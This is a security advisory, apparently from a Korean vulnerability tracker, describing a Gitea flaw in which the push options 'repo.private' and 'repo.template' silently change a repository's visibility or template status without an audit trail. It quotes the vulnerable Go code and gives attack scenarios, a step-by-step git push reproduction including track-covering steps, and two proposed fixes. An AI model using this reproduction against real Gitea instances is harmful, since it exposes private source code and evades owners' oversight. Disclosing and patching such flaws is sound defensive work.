Gitea: Repository Visibility Manipulation via Git Push Options
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N상세 설명
Repository Visibility Manipulation via Git Push Options
| Field | Value |
|---|---|
| Affected File | routers/private/hook_post_receive.go |
| Affected Function | HookPostReceive() |
| Affected Lines | 173–225 |
| Prerequisite | Attacker must have owner-level or admin collaborator access to the target repository |
Description
Gitea's post-receive git hook handler processes git push options — key-value pairs transmitted by a client during git push using the -o flag. Two undocumented push options, repo.private and repo.template, allow any user with repository owner or admin-collaborator access to toggle the visibility (private/public) and template status of a repository as a side effect of a normal git push.
This capability was originally intended solely for the "push-to-create" feature (automatically creating a repo on first push). However, the options are processed without restriction on already-existing repositories, and — critically — the visibility change bypasses every control that a proper settings change would trigger:
- No entry written to the repository's audit/activity log
- No webhook event fired (
repositoryevent withvisibility_changedaction) - No org-level notification to owners
- No team permission re-calculation
- No email alert to watchers
- The database update uses
UpdateRepositoryColsNoAutoTime, which also suppresses theupdated_attimestamp change
Vulnerable Code
routers/private/hook_post_receive.go:173–225
1isPrivate := opts.GitPushOptions.Bool(private.GitPushOptionRepoPrivate) // "repo.private" 2isTemplate := opts.GitPushOptions.Bool(private.GitPushOptionRepoTemplate) // "repo.template" 3 4if isPrivate.Has() || isTemplate.Has() { 5 // ... loads repo and verifies pusher is owner or admin ... 6 if !perm.IsOwner() && !perm.IsAdmin() { 7 ctx.JSON(http.StatusNotFound, ...) 8 return 9 }10 11 // FIXME: these options are not quite right, for example: changing visibility12 // should do more works than just setting the is_private flag13 // These options should only be used for "push-to-create"14 if isPrivate.Has() && repo.IsPrivate != isPrivate.Value() {15 // TODO: it needs to do more work16 repo.IsPrivate = isPrivate.Value()17 repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_private")18 // ^^^ bypasses updated_at timestamp, audit trail suppressed19 }20 if isTemplate.Has() && repo.IsTemplate != isTemplate.Value() {21 repo.IsTemplate = isTemplate.Value()22 repo_model.UpdateRepositoryColsNoAutoTime(ctx, repo, "is_template")23 }24}The push option constants are defined in modules/private/pushoptions.go:18–19:
1GitPushOptionRepoPrivate = "repo.private" 2GitPushOptionRepoTemplate = "repo.template"Attack Scenario
Scenario A — Insider threat / rogue admin collaborator
An organization grants a contractor repo admin access to contribute to a private repository containing proprietary source code. The contractor, before their access is revoked, makes a private repo public for several minutes — long enough to clone, archive, or index the content — then makes it private again. The action leaves no audit trail distinguishable from a normal git push.
Scenario B — Supply-chain template poisoning
A repository marked as a template is used by CI/CD pipelines to generate new project repositories. An admin collaborator uses repo.template=false to silently remove the template designation, then makes changes to the repo's content, re-marks it as a template with repo.template=true, and waits for downstream consumers to regenerate projects from the now-backdoored template. The updated_at timestamp is unchanged due to UpdateRepositoryColsNoAutoTime, making diff-detection harder.
Step-by-Step Reproduction
Prerequisites:
- A Gitea user account with either owner or admin-collaborator access to a private repository
gitclient with push access to the repository
Step 1 — Confirm the target repository is private
Step 2 — Clone the repository
1git clone http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git /tmp/target-repo 2cd /tmp/target-repoStep 3 — Make any commit (the push option rides on a real push)
1echo "$(date)" >> .gitkeep 2git add .gitkeep 3git commit -m "routine update"Step 4 — Execute the exploit push
1# Make the repository public 2git push http://USER:PASSWORD@<gitea-host>/OWNER/REPO.git main \ 3 -o repo.private=false 4 5# The push completes with a normal success message: 6# remote: Processed 1 references in total 7# To http://<gitea-host>/OWNER/REPO.git 8# abc1234..def5678 main -> mainStep 5 — Verify the repository is now public
Step 6 — Restore and cover tracks
Re-make it private in the same session, leaving no visible audit trail
The repository activity feed shows only two normal push events. The visibility change is invisible.
Verification: confirm no activity log entry
Impact Details
| Impact | Description |
|---|---|
| Data exfiltration | Private source code, CI/CD secrets in plain-text files, environment configs become publicly cloneable for the window the repo is public |
| No audit trail | UpdateRepositoryColsNoAutoTime suppresses the updated_at change; no activity log entry; no webhook; no notification |
| Supply chain | Combined with repo.template=true/false, an attacker can silently rotate repository template status, affecting all downstream repositories that generate from this template |
| Scope | Affects all repos where the attacker has admin-collaborator access — not only repos they own |
Recommended Fix
Option 1 (preferred) — Remove the options from post-receive hook entirely. The repo.private and repo.template push options were designed for the push-to-create flow and have no legitimate use on existing repositories. They should be gated with:
1// routers/private/hook_post_receive.go 2if isPrivate.Has() || isTemplate.Has() { 3 if !wasEmpty { 4 // repo already existed — refuse these options on established repos 5 log.Warn("Repo push options repo.private/repo.template ignored for existing repo %s", repoName) 6 // do not process 7 } else { 8 // original push-to-create path only 9 ...10 }11}Option 2 — Route through the full visibility-change service so that audit events, webhooks, and team re-syncs are triggered:
1// Instead of the raw UpdateRepositoryColsNoAutoTime call: 2if err := repo_service.UpdateRepositoryVisibility(ctx, repo, isPrivate.Value()); err != nil { 3 ... 4}Where UpdateRepositoryVisibility fires the repository webhook event and writes an activity log entry.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.